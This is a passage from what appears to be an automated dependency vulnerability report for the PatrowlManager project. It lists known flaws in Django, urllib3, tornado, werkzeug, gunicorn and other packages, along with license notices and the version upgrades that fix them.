  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the {% debug %} template tag. The tag doesn't properly encode the current context, outputting unescaped context variables.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade django to version 2.2.27, 3.2.12, 4.0.2 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce urllib3@1.26.5
    Remediation: Upgrade to urllib3@1.26.18.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST to GET. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.

Note:

This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.

Workaround

This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.

Remediation

Upgrade urllib3 to version 1.26.18, 2.0.7 or higher.

References

medium severity

LGPL-2.1 license

  • Module: chardet
  • Introduced through: chardet@3.0.4, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce chardet@3.0.4
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 chardet@3.0.4
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 chardet@3.0.4
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 chardet@3.0.4
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 chardet@3.0.4
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 chardet@3.0.4
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 chardet@3.0.4

LGPL-2.1 license

medium severity

LGPL-3.0 license

  • Module: cpe
  • Introduced through: cpe@1.2.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce cpe@1.2.1

LGPL-3.0 license

medium severity

LGPL-3.0 license

  • Module: psycopg2-binary
  • Introduced through: psycopg2-binary@2.7.5

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce psycopg2-binary@2.7.5

LGPL-3.0 license

medium severity

LGPL-3.0 license

  • Module: python-crontab
  • Introduced through: python-crontab@2.3.6 and django-celery-beat@2.0.0

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce python-crontab@2.3.6
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 python-crontab@2.3.6

LGPL-3.0 license

low severity

Open Redirect

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Open Redirect via the StaticFileHandler class, due to improper validation of the default_filename parameter in the initialize function. Exploiting this vulnerability is possible under specific configurations and might result in a redirect to an attacker-controlled site.

Note: This vulnerability is still under analysis and we are following up with the maintainers to confirm it.

Remediation

Upgrade tornado to version 6.3.2 or higher.

References

low severity

Cleartext Storage of Sensitive Information

  • Vulnerable module: django-celery-results
  • Introduced through: django-celery-results@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-results@2.0.1
    Remediation: Upgrade to django-celery-results@2.4.0.

Overview

django-celery-results is a Celery result backends for Django.

Affected versions of this package are vulnerable to Cleartext Storage of Sensitive Information. It stores task results in the database. Among the data it stores are the variables passed into the tasks. The variables may contain sensitive cleartext information that does not belong unencrypted in the database.

Remediation

Upgrade django-celery-results to version 2.4.0 or higher.

References

low severity

Access Restriction Bypass

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@2.2.3.

Overview

Affected versions of this package are vulnerable to Access Restriction Bypass that allows a malicious application on an adjacent subdomain to present "nameless" cookies that look like =value instead of key=value and have them accepted by the affected browser. For example, a cookie like =__Host-test=bad would be parsed as __Host-test=bad and the key treated as valid while the value is ignored.

Remediation

Upgrade werkzeug to version 2.2.3 or higher.

References

low severity

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: gunicorn
  • Introduced through: gunicorn@20.0.4

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce gunicorn@20.0.4
    Remediation: Upgrade to gunicorn@21.2.0.

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions due to the use of time.time() in worker timeout logic, which may be wrong. An attacker who can control the system time can force a worker to time out.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade gunicorn to version 21.2.0 or higher.

References